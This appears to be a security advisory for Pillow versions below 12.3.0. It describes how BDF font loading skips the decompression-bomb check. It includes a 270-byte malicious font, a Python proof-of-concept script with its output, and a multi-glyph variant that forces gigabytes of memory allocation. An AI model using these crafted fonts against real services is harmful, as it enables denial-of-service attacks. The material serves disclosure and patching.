Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Published 20 Jul 2026 · Updated 10 Sept 2026
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Affected package
- Affected
- <12.3.0
- Fixed in
- 12.3.0
pip install 'pillow>=12.3.0'Details
Summary
PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.
Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.
Vulnerable code (PIL/BdfFontFile.py lines 84–88):
# width, height from attacker-controlled "BBX width height x y" line
try:
im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
# TRIGGERED when BITMAP section is empty (zero hex lines)
im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()!
# ^ This image is stored in self.glyph[ch] — persists in memoryAttack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.
Steps to reproduce
Minimal malicious BDF file (270 bytes):
STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT
Proof of Concept script:
#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")
from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold
# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()
print(f"[*] BDF file size : {len(bdf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!
print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f" Image.open() path would have raised DecompressionBombError")Expected output:
[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size : 270 bytes
[*] Glyph size : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
Image.open() path would have raised DecompressionBombErrorAmplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.
Impact
- Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
- Confidentiality: None
- Integrity: None
- Any service loading BDF fonts from untrusted sources (e.g.,
ImageFont.load("user.bdf"),BdfFontFile(fp)) is affected - Loaded glyph images persist in
self.glyph[ch]for the lifetime of the font object — memory is NOT freed until the font is garbage collected
Is GHSA-45hq-cxwh-f6vc in any of your client repos?
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References
- Linkgithub.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-55379
- Linkgithub.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d
- Linkgithub.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml
- Packagegithub.com/python-pillow/Pillow
- Linkgithub.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.